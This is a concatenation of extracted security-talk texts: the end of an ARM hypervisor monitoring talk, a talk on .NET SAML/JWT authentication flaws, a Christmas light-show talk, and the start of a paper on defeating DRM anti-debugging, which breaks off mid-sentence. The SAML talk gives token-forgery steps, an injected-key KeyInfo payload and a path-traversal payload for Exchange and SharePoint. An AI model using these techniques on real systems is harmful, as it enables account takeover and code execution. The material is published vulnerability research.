Hook the network related APIs (e.g. connect). 2.1) More active approach vs the passive one in step 1. Policy Enforcement – Network Use Case Our patent pending Numen Adaptive Monitoring (NAM) is a combination of different techniques to achieve exceptional performance Remediation •  Its not easy to remediate from outside without putting any agent inside. Lets say kill a process. •  How about manipulating with one of the frequently called APIs? •  Maybe make one of the string parameter NULL? •  Just a basic way. There can be other more mature ways. PRACTICAL RECOMMENDATIONS FOR END TO END SYSTEM •  Software Breakpoints •  Efficient Single Stepping Mechanism •  Event Mechanism •  Efficient translations caching •  Multiple mappings support for p2m (physical to machine) •  Memory page permissions management Releasing tool to the public •  Tool to perform syscall monitoring for ARM & Intel J •  All files needed to setup a working environment: ü  Booting the board: zynqmp_fsbl.elf, u-boot.elf, bl31.elf, pmufw.elf ü  Environment: xen.dtb, Kernel-Image, Xen-Hypervisor (version 11.0), DomU-Configuration files, xen startup scripts. ü  Test: ARM64-based malware and exploit samples. •  Dropbox link: xxxxxxxxxxxxxxxxxxxxxx Takeaways •  “Smart” Hypervisors on ARM are needed, not only for isolation •  ARM Syscall Hooking is great achievement but just the beginning, the detection strategies is what makes the difference •  Switching between memory views for detection strategies is a new way to detect maliciousness from VMI Special Thanks •  Stefano Stabellini: For his great help on Xen troubleshooting •  Matt Leinhos: For his great features on ARM/Intel VMI •  For those 3 of you guys, you know who you are J Without you, no way to complete this effort Q & A @Ali_Islam_Khan @danuxx
pdf
The Token Menace SSO Wars This Photo by Unknown Author is licensed under CC BY > whoarewe § Alvaro Muñoz Security Researcher with Micro Focus Fortify team @Pwntester § Oleksandr Mirosh Security Researcher with Micro Focus Fortify team @OlekMirosh Agenda • Introduction • Delegated Authentication • Authentication Tokens • Arbitrary Constructor Invocation • Potential attack vectors • Dupe Key Confusion • Windows Communication Foundation (WCF) • Windows Identity Foundation (WIF) • SharePoint • Conclusions Introduction This Photo by Unknown Author is licensed under CC BY Delegated Authentication Service Provider Identity Provider User Agent 1 6 Access protected resource Redirect to SSO service Forward Auth token Redirect to resource Access resource Resource Login into SSO service Respond with Auth token 2 3 4 5 7 8 Delegated Authentication Service Provider Identity Provider User Agent 1 6 Access protected resource Redirect to SSO service Forward Auth token Redirect to resource Access resource Resource Login into SSO service Respond with Auth token 2 3 4 5 7 8 Issuer Audience Expire Date Claims Signature Delegated Authentication Service Provider Identity Provider User Agent 1 6 Access protected resource Redirect to SSO service Forward Auth token Redirect to resource Access resource Resource Login into SSO service Respond with Auth token 2 3 4 5 7 8 Issuer Audience Expire Date Claims Signature Potential attack vectors Token parsing vulnerabilities Normally before signature verification Attack Token parsing process Eg: CVE-2019-1083 Signature verification bypasses The holy grail Enable us to tamper claims in the token Eg: CVE-2019-1006 Arbitrary Constructor Invocation CVE-2019-1083 This Photo by Unknown Author is licensed under CC BY JWT token Source: http://jwt.io System.IdentityModel.Tokens.Jwt library // System.IdentityModel.Tokens.X509AsymmetricSecurityKey public override HashAlgorithm GetHashAlgorithmForSignature(string algorithm) { ... object algorithmFromConfig = CryptoHelper.GetAlgorithmFromConfig(algorithm); ... } // System.IdentityModel.CryptoHelper internal static object GetAlgorithmFromConfig(string algorithm) { ... obj = CryptoConfig.CreateFromName(algorithm); ... } // System.Security.Cryptography.CryptoConfig public static object CreateFromName(string name, params object[] args) { ... if (type == null) { type = Type.GetType(name, false, false); if (type != null && !type.IsVisible) type = null; } ... RuntimeType runtimeType = type as RuntimeType; ... MethodBase[] array = runtimeType.GetConstructors(BindingFlags.Instance | BindingFlags.Public | BindingFlags.CreateInstance); ... object obj; RuntimeConstructorInfo runtimeConstructorInfo = Type.DefaultBinder.BindToMethod(BindingFlags.Instance | BindingFlags.Public | BindingFlags.CreateInstance, array, ref args, null, null, null, out obj) ... object result = runtimeConstructorInfo.Invoke(BindingFlags.Instance | BindingFlags.Public | BindingFlags.CreateInstance, Type.DefaultBinder, args, null); Similar code for SAML // System.IdentityModel.SignedXml public void StartSignatureVerification(SecurityKey verificationKey) { string signatureMethod = this.Signature.SignedInfo.SignatureMethod; ... using (HashAlgorithm hash = asymmetricKey.GetHashAlgorithmForSignature(signatureMethod)) ... <saml:Assertion ...> ... <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:SignedInfo> <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/> <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/> ... </ds:SignedInfo> <ds:SignatureValue>WNKeaE3R....SLMRLfIN/zI=</ds:SignatureValue> ... </ds:Signature> </saml:Assertion> • YAY! We can call public parameterless constructor • Doesn’t sound too exciting or does it? • We actually control some data: • The name of the type to be resolved • Request’s parameters, cookies, headers, etc. • In .NET the request is accessed through a static property. E.g.: // System.Web.Mobile.CookielessData public CookielessData() { string formsCookieName = FormsAuthentication.FormsCookieName; string text = HttpContext.Current.Request.QueryString[formsCookieName]; ... { FormsAuthenticationTicket tOld = FormsAuthentication.Decrypt(text); Potential Attack Vectors (1/2) • Information Leakage • For example: SharePoint server returns different results when Type resolution and instantiation was successful or not. These results may enable an attacker to collect information about available libraries and products on the target server. • Denial of Service • We found gadgets that trigger an Unhandled Exception. They enable an attacker to leave SharePoint server unresponsive for a period of time. Potential Attack Vectors (2/2) • Arbitrary Code Execution • We can search for a gadget that installs an insecure assembly resolver on its static constructor • We can then send full-qualified type name (including assembly name) which: • Not available in the GAC, the system will fall back to resolving it using insecure assembly resolver • Insecure assembly resolver will load the assembly and then instantiate the type • Downside: • May depend on server configurations, e.g. already enabled AssemblyResolvers • May require ability to upload malicious dll to the server // Microsoft.Exchange.Search.Fast.FastManagementClient static FastManagementClient() { ... AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(OnAssemblyResolveEvent); } // Microsoft.Exchange.Search.Fast.FastManagementClient private static Assembly OnAssemblyResolveEvent(object sender, ResolveEventArgs args) { string name = args.Name.Split(new char[]{','})[0]; string path1 = Path.Combine(FastManagementClient.fsisInstallPath, "Installer\\Bin"); string path2 = Path.Combine(FastManagementClient.fsisInstallPath, "HostController"); string[] paths = new string[] {path1,path2}; for (int i = 0; i < paths.Length; i++) { string full_path = paths[i] + Path.DirectorySeparatorChar.ToString() + name + ".dll"; if (File.Exists(full_path)) return Assembly.LoadFrom(full_path); ... First payload: Microsoft.Exchange.Search.Fast.FastManagementClient Second payload: ..\..\..\..\..\..\..\tmp\malicious Demo Exchange RCE Dupe Key Confusion CVE-2019-1006 This Photo by Unknown Author is licensed under CC BY Authentication Tokens - SAML • The Security Assertion Markup Language, SAML: • Popular standard used in single sign-on systems • XML-based format • Uses XML Signature (aka XMLDSig) standard • XMLDSig standard (RFC 3275): • Used to provide payload security in SAML, SOAP and WS-Security among other uses. <Assertion> <Subject> … </Subject> <AttributeStatement> … </AttributeStatement> <Signature> <SignedInfo> ... </SignedInfo> <SignatureValue /> <KeyInfo> key info elements </KeyInfo> </Signature> </Assertion> Simplified SAML Token The data to be integrity-checked Information how to verify signature Signature Key(s) used for signature calculation Previous vulnerabilities in SAML SAML Assertion • XML Signature Wrapping (XSW): • Discovered in 2012 by Juraj Somorovsky, Andreas Mayer and others • Many implementations in different languages were affected • The attacker needs access to a valid token • The attacker modifies the contents of the token by injecting malicious data without invalidating the signature • Attacks with XML comments: • Discovered in 2018 by Kelby Ludwig • The attacker needs access to a valid token • Uses XML comments to modify values without invalidating the signature SAML Signature Verification in .NET 1.Resolve the signing key • Obtain key from <KeyInfo /> or create it from embedded data 2.Use key to verify signature 3.Identify the signing party • Derive SecurityToken from <KeyInfo /> 4.Authenticate the signing party • Verify trust on SecurityToken SAML Signature Verification in .NET 1.Resolve the signing key • Obtain key from <KeyInfo /> or create it from embedded data 2.Use key to verify signature 3.Identify the signing party • Derive SecurityToken from <KeyInfo /> 4.Authenticate the signing party • Verify trust on SecurityToken • System.IdentityModel.Selectors.SecurityTokenResolver SecurityTokenResolver • <KeyInfo/> section is processed twice by different methods! • Premise: • If we can get each method to return different keys, we may be able to bypass validation <KeyInfo> <element/> <element/> </KeyInfo> A tale of two resolvers Key Identifier Clause Clause ResolveSecurityKey(kId) ResolveSecurityToken(kId) Microsoft terminology Signature verification Authentication of signing party • Method A supports a key identifier type that is not supported by Method B • Both methods support same key identifier types, but in different order • Methods check for different subsets of keys within the <KeyInfo/> section Possible scenarios for different key resolution • Used in Web Services • Eg: Exchange server Windows Communication Foundation (WCF) • Used in claim-aware applications • Eg: MVC application authenticating users with ADFS or Azure Active Directory Windows Identity Foundation (WIF) • Uses custom configuration such as a custom resolver or custom certificate store • Eg: SharePoint Windows Identity Foundation (WIF) + Custom configuration Examples of affected frameworks Windows Communication Foundation (WCF) This Photo by Unknown Author is licensed under CC BY Windows Communication Foundation • Framework for building service-oriented applications (SOA). • Interaction between WCF endpoint and client is done using a SOAP envelopes (simple XML documents). • WCF includes predefined bindings for most common communication protocols such as SOAP over HTTP, SOAP over TCP, and SOAP over Message Queues, etc. • Two types: • Claim-aware services • Non Claim-aware services // System.IdentityModel.Tokens.SamlAssertion SecurityKeyIdentifier keyIdentifier = signedXml.Signature.KeyIdentifier; this.verificationKey = SamlSerializer.ResolveSecurityKey(keyIdentifier, outOfBandTokenResolver); if (this.verificationKey == null) throw ... this.signature = signedXml; this.signingToken = SamlSerializer.ResolveSecurityToken(keyIdentifier, outOfBandTokenResolver); Windows Communication Foundation (WCF) Same <keyInfo/> element is processed twice // System.IdentityModel.Tokens.SamlSerializer internal static SecurityKey ResolveSecurityKey(SecurityKeyIdentifier ski, SecurityTokenResolver tokenResolver) { if (ski == null) throw DiagnosticUtility.ExceptionUtility.ThrowHelperArgumentNull("ski"); if (tokenResolver != null) { for (int i = 0; i < ski.Count; i++) { SecurityKey result = null; if (tokenResolver.TryResolveSecurityKey(ski[i], out result)) { return result; } } } ... Security Key resolution – Depth First For each <KeyInfo/> element, try ALL resolvers, until one is successful // System.ServiceModel.Security.AggregateSecurityHeaderTokenResolver bool TryResolveSecurityKeyCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityKey key) { ... resolved = this.tokenResolver.TryResolveSecurityKey(keyIdentifierClause, false, out key); if (!resolved) resolved = base.TryResolveSecurityKeyCore(keyIdentifierClause, out key); if (!resolved) resolved = SecurityUtils.TryCreateKeyFromIntrinsicKeyClause(keyIdentifierClause, this, out key); For a successful attack we need a first <KeyInfo/> key that cannot be resolved in 1 or 2, but can be resolved in 3. Any Intrinsic keys such a BinarySecret or RSA key identifiers will meet this requirement Security Key resolution – Depth First Remember, one key at a time! 1 2 3 // System.ServiceModel.Security.AggregateSecurityHeaderTokenResolver override bool TryResolveTokenCore(SecurityKeyIdentifier keyIdentifier, out SecurityToken token) { bool resolved = false; token = null; resolved = this.tokenResolver.TryResolveToken(keyIdentifier, false, false, out token); if (!resolved) resolved = base.TryResolveTokenCore(keyIdentifier, out token); if (!resolved) { for (int i = 0; i < keyIdentifier.Count; ++i) { if (this.TryResolveTokenFromIntrinsicKeyClause(keyIdentifier[i], out token)) { resolved = true; break; } Security Token resolution – Breadth First Remember, ALL keys are passed here! For each token resolver, try ALL <keyInfo/> elements, until one is successful For a successful attack we need a first <KeyInfo/> key that cannot be resolved by first resolver <KeyInfo> <attacker symmetric Key/> <expected key identifier/> </KeyInfo> Dupe Key Confusion ResolveSecurityKey(KeyInfo) ResolveSecurityToken(KeyInfo) Symmetric Key Expected X509 Cert Signature verification Authentication of signing party 1. Re-Sign SAML assertion with attacker’s own symmetric key 2. Send symmetric key as first element in <KeyInfo/> 3. Send original trusted certificate as second element in <KeyInfo/> Dupe Key Confusion <ds:KeyInfo> <trust:BinarySecret >rV4k60..Oww==</trust:BinarySecret> <ds:X509Data> <ds:X509Certificate>MIIDBTCCAe2gAw….rzCf6zzzWh</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> Injected Key Original Cert Demo Exchange Account Takeover Windows Identity Foundation (WIF) This Photo by Unknown Author is licensed under CC BY WIF in a Nutshell • WIF 4.5 is a framework for building identity-aware applications. • Applications can use WIF to process tokens issued from STSs (eg: AD FS, Azure AD, ACS,...) and make identity-based decisions Security Token Service Application WIF Auth Token User Identity Key and Token resolutions • Key resolution is only attempted with first Key Identifier! • Security Token resolution is attempted for all Key Identifiers foreach (SecurityKeyIdentifierClause securityKeyIdentifierClause in keyIdentifier) { … } if (!_signingTokenResolver.TryResolveSecurityKey(_signedXml.Signature.KeyIdentifier[0], out key)) { ... } Key and Token resolutions • Uses System.IdentityModel.Tokens.IssuerTokenResolver • Secure resolver: It handles key and security token resolution in the same way • Falls back to X509CertificateStoreTokenResolver in case of a miss • ResolveSecurityKey() supports EncryptedKeyIdentifierClause • ResolveToken() only knows about resolving X509 certificates Attack limitations • Symmetric key is decrypted using Private key from certificate stored in specific storage • By default this storage is LocalMachine/Trusted People • Attacker needs to obtain public key of such certificate • Perhaps used for server SSL? <KeyInfo> <attacker encrypted key/> <expected key identifier /> </KeyInfo> Dupe Key Confusion ResolveSecurityKey(KeyInfo) ResolveSecurityToken(KeyInfo) 1. Re-Sign SAML assertion with attacker’s own symmetric key 2. Encrypt symmetric key using public key from server certificate 3. Send send encrypted symmetric key as first element in <KeyInfo/> 4. Send original trusted certificate as second element in <KeyInfo/> Symmetric Key Expected X509 Cert Signature verification Authentication of signing party <ds:KeyInfo> <xenc:EncryptedKey xmlns:xenc="http://www.w3.org/2001/04/xmlenc#"> <xenc:EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/> <ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <ds:X509Data> <ds:X509Certificate>….</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> <xenc:CipherData> <xenc:CipherValue>e++….</xenc:CipherValue> </xenc:CipherData> </xenc:EncryptedKey> <ds:X509Data> <ds:X509Certificate>MIIDBTCCAe...f6zzzWh</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> Dupe Key Confusion Injected Key Original Cert SharePoint Server (WIF) This Photo by Unknown Author is licensed under CC BY SharePoint (WIF + Custom resolver) • SharePoint uses WIF to process tokens and create user identities • However, it uses a custom security token resolver: • Microsoft.SharePoint.IdentityModel.SPIssuerTokenResolver • Key resolution supports Intrinsic keys (eg: RSA Key, BinarySecret, …) • Token resolution does not know how to resolve Intrinsic keys Dupe Key Confusion ResolveSecurityKey(KeyInfo) ResolveSecurityToken(KeyInfo) 1. Re-Sign SAML assertion with attacker’s own private RSA key 2. Send attacker’s RSA public key as first element in <KeyInfo/> 3. Send original trusted certificate as second element in <KeyInfo/> <KeyInfo> <attacker RSA Key/> <expected key identifier /> </KeyInfo> RSA Key Expected X509 Cert Signature verification Authentication of signing party Dupe Key Confusion <ds:KeyInfo> <ds:KeyValue> <ds:RSAKeyValue> <ds:Modulus>irXhaxafoUZ...77kw==</ds:Modulus> <ds:Exponent>AQAB</ds:Exponent> </ds:RSAKeyValue> </ds:KeyValue> <ds:X509Data> <ds:X509Certificate>MIIDBTCCAe2...zzWh</ds:X509Certificate> </ds:X509Data> </ds:KeyInfo> Injected Key Original Cert SharePoint Authentication Flow User Agent Sharepoint STS Sharepoint Send IdP Token Respond with FedAuth cookie Request Session Token Respond with Session token Validate token (SP issuer resolver) Validate token (WIF token resolver) Cache Session Token 1 2 3 4 5 6 7 • Issuer: IdP • Victim UPN SharePoint Attack Flow User Agent Sharepoint Send Malicious Token to WS Invalid FedAuth cookie Poison Session Token Cache Validate token (SP issuer resolver) Authenticate with attacker account Send original FedAuth cookie to authenticate as victim Issued by SharePoint so no STS exchange is needed Gets a valid FedAuth cookie Original FedAuth cookie now points to poisoned Session Token 1 2 3 4 • Issuer: SharePoint • Victim UPN • Attacker cache key Demo Privilege escalation on SharePoint server Burp Plugin This Photo by Unknown Author is licensed under CC BY Conclusions & Takeaways This Photo by Unknown Author is licensed under CC BY Conclusions • Even if protocols are considered secure, the devil is in the implementations • Processing same data with inconsistent code may lead to vulnerabilities • Here be dragons: • Research focused on .NET, similar flaws can exist in other languages • Even in .NET, XML Signature is used in other potentially insecure places • Patch ASAP :) Questions? This Photo by Unknown Author is licensed under CC BY @Pwntester @OlekMirosh
pdf
Building Absurd Christmas Light Shows Computer Controlled Lights <Video of light show> Basic Elements of a Light Show • LEDs • Power Supplies • Waterproof cases • Cabling • Pixel Controllers • Sequencing Software • Show Controller + Software • FM Transmitter +Zip Ties…. Lots and lots of zip ties Traditional Mini-Lights LEDs used here • 3 LEDS on 1 chip Creating Colors Red, Green, Blue LEDS combine to make colors Additive Color Additive Colors “Smart” RGB at the core of the display What makes them smart? Pixels: WS-2812b serial protocol • Simple protocol • Indefinite length strings* • Reshapes pulses at each pixel Many form factors for LEDs Customize: cut and solder Custom Elements Mega Trees • Matrix made of Pixel Strings • Pictures, Animations, Effects • Low resolution • Example: 50x32 pixels, 14 feet tall • Dominate the scenery Mega Tree Flood Lights • Round out the display • 10-30 Watts • “Color Wash” Walls & Trees • Streaming-ACN (E.131) Protocol • ACN- Industry standard suite of protocols for lighting and control via Ethernet • Subset for "lightweight" devices called sACN (E1.31) • UDP: Unicast to a single IP or Multicast • Groups up to 512 channels in “Universes” Ethernet Control of Pixels • Ethernet to pixels • Power and Fusing • Remapping • Testing Pixels • Good controllers have web based interfaces Controller Running the show • Dedicated computer • Starts lights on schedule • Streams data to controllers • Two popular options: • Windows PC • FPP Falcon Player- Raspberry PI Sequencing • Light show events aligned to music • Millisecond control of lights • Apply effects across one or more elements • Computing complex visual patterns • Simulates the show without hardware • Free and commercial sequences can be adapted Raspberry Pi Pixel Driver • Software library- Generate pixel serial data • GPIO pin 18 – direct drive • 3.3V data output • WS-2811/2812 pixels expect 5v • Works, but suboptimal Raspberry Pi Pixel Driver Better than direct drive: • Buffered outputs • 12V and 5V pixel options • Two strings of 800+ pixels • Bonus: real time clock Buying Pixels • Direct from China • “Pre-sales” – group buys • eBay and Amazon • Specialty Sellers Consider form factor and voltage (5V/12V) Matrix Displays P10 Panels (10MM Pixels) Beaglebone Adapter – up to 64 P10 panels Raspberry Pi Adapter – up to 12 P10 panels Software: FPP Falcon Player Video of Matrix display Water is the Enemy • Buy weather rated lights • Clear Silicone Caulk to seal strip ends • Weatherproof connectors • Electrical enclosures: • CG-2000 cable boxes • Tackle boxes • Ammo Cans • Cooling can become an issue Two challenges • Voltage drop – • Can’t push enough current through small wire • White colors shade to Pink • Solution: Voltage injection. Power at both ends of string • Distance to first pixel • Signal corruption • Solution: “Null pixel” – reshapes signal. Broadcasting • Controller outputs audio • FM radio station for viewers • Find an open channel to avoid interference • https://radio-locator.com/ • Antenna makes a significant difference • Challenge: clear signal within FCC rules Skills • Soldering • Debugging • Planning • Logical thinking • Creative and artistic design • Attention to detail [Video Clip of Xmas lights: Star Wars Christmas Light Resources: https://goo.gl/tJjNs4
pdf
Anti-RE Techniques in DRM Code Jan Newger Seminar Advanced Exploitation Techniques RWTH Aachen, Germany [email protected] ABSTRACT In order to prevent music from being copied among con- sumers, content providers often use DRM systems to pro- tect their music files. This document describes the approach taken while analysing a DRM system (whose identity needs to be kept secret due to legal issues)1. It is shown what techniques were used to protect the system from being eas- ily reverse engineered. 1. INTRODUCTION It’s common practice among DRM implementations to use strong encryption in combination with a hardware or user dependent key derivation algorithm. The DRM system in question is no exception to this, although the algorithm used for encryption, single DES [1] in this case, is considered to be outdated because of its limited key length. Because the whole system can be broken by revealing the decryption al- gorithm together with its associated key setup, the central idea of the protections used by the DRM is to make re- verse engineering as hard as possible. Although any soft- ware based protection mechanism can be reverse engineered and therefore be broken, performing such a task can be highly hindered by using various anti reverse engineering techniques. This paper will give a detailed analysis of the most significant techniques employed by the DRM and shows how to circumvent them. 2. APPROACHING THE DRM The most important step while approaching the protection was to find DRM related code which would finally lead to the decryption algorithm. A very straight forward strategy to solve this problem is to use a debugger to find relevant code by setting breakpoints on file I/O APIs like CreateFile, ReadFile and functions used to map file data in process memory by means of mem- ory mapped files. After data has been read from a DRM 1Please note that this paper lacks quite some details, be- cause i don’t want to offend the developers of the DRM protected file, one would set a break point on memory access (BPM), which in turn would lead to either a copy operation or directly to the code decrypting the file buffer. Under the assumption that the code contributing to the key setup is rather close to the decryption algorithm, this strategy seems to be quite appropriate in this scenario. But even if that was not the case, it would still be possible to back trace from the code which accesses the key to the key schedule algorithm itself, e.g. also by using BPMs. The designers of the DRM system were obviously expecting this or a similar approach to be used by a potential attacker, so they came up with a protection which makes it impossible to use BPMs without further action by the attacker. Chapter 3 discusses techniques to reclaim the features offered by the hardware breakpoints, so BPMs can be used as proposed. 2.1 Code Coverage Another approach which can be quite effective when it comes to finding relevant code in large binaries is to use code cover- age. In this context code coverage is the process of identify- ing basic blocks or functions inside a binary which have been executed during runtime. For the purpose of finding DRM relevant code, a tool, namely N-Coverage2, has been devel- oped. The application consists of a plugin for the Interactive Disassembler (IDA) [2] and a stand-alone application writ- ten in C#. The plugins purpose is to export relative virtual addresses (RVA) for each function or basic block gathered from the disassembly of a library or executable. This infor- mation is fetched from IDA and can then be exported to the stand-alone application, which in turn creates a new process and attaches a custom debugging engine to set breakpoints in the specified modules and/or executable images. While the process is running, breakpoint hits are recorded and are saved on a per-module basis. So as to handle large appli- cations consisting of many DLLs with possibly conflicting image base addresses, N-Coverage is able to correctly han- dle library rebasing. In a final step N-Coverage allows the user to merge and diff recordings resulting in a new set which can be exported back to the IDA plugin again. This allows for easy visualization of functions or basic blocks contained in the final set, either by coloring the respective disassembly listing or by selecting hits from a list so they can be easily navigated to. The problem of finding DRM relevant code can be accomplished by recording a set of hits while playing non-DRM protected music first, saving the hits to a set s1. Afterwards another set of hits s2 is recorded, but this time while playing DRM protected music. DRM specific code 2Available from www.newgre.net/ncoverage can then be found by computing the final set s = {s2 \ s1}. This works best if all or most of the hits for irrelevant code, like e.g. GUI related code, common initialization routines and so on, have been recorded to s1, so these hits will be filtered out of s2, leaving only relevant hits in the final set fs. Against this background code coverage seems to be a promising strategy to find code contributing to the DRM, especially because it doesn’t require any analysis to be car- ried out by the reverse engineer. It turns out however, that in this case code coverage is only of limited use. This is due to runtime code modifications executed by the DRM which makes the process of relating breakpoint hits to RVAs very hard, because previously assumed break point addresses are never hit due to code which copies itself to other locations in memory. Although code coverage gave a few good starting points, it wasn’t appropriate to be used as the key strat- egy in this case. Therefore the basic approach was based on using BPMs to locate code of interest. 2.2 Introduction to Windows SEH The major aspects of the anti reverse engineering techniques used in the DRM system rely on the mechanisms of struc- tured exception handling (SEH), so a short overview on the architecture of exception handling on operating system level under windows is given. This is only a rough overview of structured exception handling, so more advanced topics such as stack unwinding, nested exception etc. are intentionally left out. A more detailed and complete discussion of the topic can be found at [3]. Structured exception handling is provided by the operating system to allow an application to react on runtime errors on a per-thread basis. An exception handler called by means of SEH has the following signature: EXCEPTION_DISPOSITION _except_handler( _EXCEPTION_RECORD* ExceptionRecord, void* EstablisherFrame, _CONTEXT* ContextRecord, void* DispatcherContext ); Listing 1: Handler declaration The most important parameters for our analysis are EXCEP- TION_RECORD and CONTEXT. The former parameter contains information like the exception code, the address where the exception occurred, etc. whereas the latter is a pointer to a structure representing the CPU state at the time of the exception, i.e. the thread context of the faulting thread. The supplied context actually is an out-parameter, so any changes made to it will be applied by the operating system upon return of the handler. This allows a certain handler to fix whatever caused the exception in the first place by modi- fying the given thread context. Having one global exception handler which is responsible for processing any possible error in a given thread is often unsuitable, so there is a linked list of EXCEPTION_REGISTRATION structures pointed to by fs:0. This allows for registration of multiple exception handlers per thread, especially for different scopes. Listing 2 shows the entries of this linked list. _EXCEPTION_REGISTRATION struc prev dd ? handler dd ? _EXCEPTION_REGISTRATION ends Listing 2: SEH list entry This is a very straight forward way of implementing a linked list, prev is a pointer to the previous element in the list (or 0xFFFFFFFF to mark the last element) and handler obvi- ously is a pointer to the respective exception handler. When- ever an exception occurs, the operating system walks the list of EXCEPTION_REGISTRATION structures of the respective thread starting at fs:0 and calls each handler until the first replies to handle the exception, signaling the operating sys- tem that this handler is capable of fixing whatever caused the exception in the first place. Figure 1: SEH linked list The SEH list contains at least one entry which is inserted by the operating system executable loader and jumps in to catch any unhandled exception, leading usually to process termination. Each thread can register a new exception han- dler by inserting a new EXCEPTION_REGISTRATION structure to the beginning of the SEH list. Listing 3 shows code to add a new exception handler. Although this is probably the most basic code to do this, nevertheless in most applications the compiler generated code to add a new handler looks very similar to this. push handler push fs:[0] mov fs:[0], esp Listing 3: Adding a new handler A new EXCEPTION_REGISTRATION structure is created on the stack. Since the stack grows from higher to lower addresses, the second member of the structure has to be pushed first. The prev pointer is the last pointer from the list, i.e. fs:[0]. Finally the pointer to the structure on the stack is saved as the new head of the list. In most cases one exception handler is responsible to process all exceptions in a special scope, so before entering this certain scope, an exception handler is added in the way just shown. Against this background it makes sense to create the EXCEPTION_REGISTRATION struc- ture on the stack, because as soon as control flow leaves the scope protected by the handler, it can be safely removed from the stack. Figure 2: SEH big picture mov eax, [esp] mov fs:[0], eax add esp, 8 Listing 4: Removing a handler To unregister a handler, the previous element is set as the new head element and the EXCEPTION_REGISTRATION struc- ture is removed from the stack as shown in listing 4. All the SEH logic is initially triggered by code from a proce- dure namely KiUserExceptionDispatcher exported by nt- dll.dll (though it’s not really a procedure, but rather code being dispatched to from kernel mode). This means that whenever an exception is raised, the CPU transfers control flow into kernel mode and the appropriate interrupt service routine from the interrupt descriptor table is grabbed and executed. In kernel mode some information about the ex- ception is collected as well as the context of the faulting thread and finally the structures containing this information are passed down to user mode ending up in KiUserExcep- tionDispatcher. It turns out that KiUserExceptionDis- patcher is indeed the first code being executed in user mode after the exception has occurred. KiUserExceptionDispatcher(PEXCEPTION_RECORD pExcptRec, CONTEXT* pCtx) { DWORD retValue; if (RtlDispatchException(pRec, pCtx)) retValue = NtContinue(pContext, 0); else retValue = NtRaiseException(pRec,pCtx, 0); EXCEPTION_RECORD rec; rec.ExceptionCode = retValue; rec.ExceptionFlags = EXCEPTION_NONCONTINUABLE; rec.ExceptionRecord = pExcptRec; rec.NumberParameters = 0; RtlRaiseException(&rec); } Listing 5: KiUserExceptionDispatcher pseudo code All of the SEH logic in turn is triggered from RtlDispatchEx- ception. This procedure creates the parameters an excep- tion handler expects and then walks the list of registered exception handlers. If no handler was found during SEH list walking, which responded to handler the exception, a sec- ond chance exception is raised by means of NtRaiseExcep- tion, which leads to process termination3. If one of the two system calls returns to KiUserExceptionDispatcher some serious bug appeared and an exception is raised by means of RtlRaiseException. If on the other hand a suitable handler has been found, the handler has two choices. It can • return so control flow again resumes in KiUserExcep- tionDispatcher • decide not to return, which has the effect, that control flow will neither come back to RtlDispatchException nor to KiUserExceptionDispatcher All the handlers participating in the protection are of the former type, whereas non-returning handlers are common among exception handling code generated by C++ compil- ers4. So if the handler actually returns, a possibly modified context is applied by means of NtContinue and the faulting thread is resumed on the next schedule. 3. ANTI REVERSE ENGINEERING TECH- NIQUES 3Though an attached debugger gets the opportunity to fix this second chance exception before the process is terminated 4At least MS compilers behave that way Anti Reverse engineering techniques can be used to achieve different kinds of effects, which can make the analysis of an executable very hard. Several anti debugging techniques, aiming at online analysis by using a debugger, have been developed[4]. Most of these techniques are highly operating system specific and utilize the fact, that the state of a pro- cess being debugged is distinguishable from an untouched process. This is due to the fact that the operating system and the application behave differently in some situations, e.g. the operating system needs to keep additional infor- mation in a process to mark it as being debugged (PEB, Debugheap, etc). In addition to that it is also possible to make static reverse engineering a difficult process. Code ob- fuscation techniques like injection of junk code, code trans- formations or even mechanisms including fully fledged vir- tual machines have been developed. The DRM makes use of techniques against both static and dynamic reverse en- gineering for the sake of complicating the analysis of the DRM system. The key protections include techniques such as trampolines to obfuscate control flow, occupying the de- bug registers and using them to alter control flow, runtime checks of critical APIs for breakpoint opcodes, heavy use of exceptions to interrupt flow of execution and finally a P- Code machine which encapsulates the decryption and key setup algorithms. The following paragraphs examine these techniques more closely and will also introduce concepts on how to circumvent them or at least show how to ease their impact. 3.1 Trampolines The first technique one comes across while analysing the DRM protection is the use of a mechanism, which will be denoted throughout the paper as trampolines5. The protec- tion system allocates a few mega bytes of memory on the heap at startup and uses this memory later on to store code and execute it from there. The trampolines serve as a start- ing point for all other anti reverse engineering techniques, i.e. whenever a new file buffer of DRM protected data needs to be decrypted, flow of execution starts at a central pro- cedure inside the protection. This procedure then prepares some internal data structures needed for managing trampo- line state and sets up structures for memory management of the P-Code machine. After initialization the BeingDe- bugged flag in the PEB6 is checked, mov eax, large fs:18h mov eax, [eax+30h] movzx eax, byte ptr [eax+2] Listing 6: Basic debugger check whereas fs:18h is the linear address of the TEB7 for the executing thread. At offset 30h is the pointer to the PEB which holds the BeingDebugged flag. The PEB entry can be trivially patched with zero in order to fool the detection, because it just marks the process as being debugged but has no further meaning regarding debugging functionality. This flag has been well known for years and is therefore considered 5The term trampoline was borrowed from the area of shell coding 6Process environment block 7Thread environment block to be a very weak debugger detection technique. The second check tries to detect an attached debugger by issuing a fake breakpoint exception. A debugger can be easily hide from this check by just passing the resulting exception back to the process, so at runtime the code behaves in the same way as if it was not running under a debugger. If no debugger has been found by these checks, the procedure in question sets the thread affinity of the current thread, forcing it to run on a randomized CPU in the system8. Before control flow is handed over to the first trampoline, the current thread context is fetched by means of the GetThreadContext API in order to modify the debug registers, which are used to pass parameters between trampolines and also serve as a storage mechanism to hold the address of the starting tram- poline. Finally the modified context is applied by using the SetThreadContext API and control flow is transfered to the first trampoline. 3.1.1 Trampoline control flow Control flow between trampolines isn’t dispatched in a stan- dard way with instructions like call or jmp, as in the case of compiler generated code. Instead control flow heavily relies on exception handling and an internal call stack, which is maintained by the system, so a call hierarchy can be real- ized between trampolines. Figure 3 shows a situation where the flow of execution starts at trampolineA and is supposed to end up at trampolineB. Whenever a trampoline initiates such a change of control flow, this process 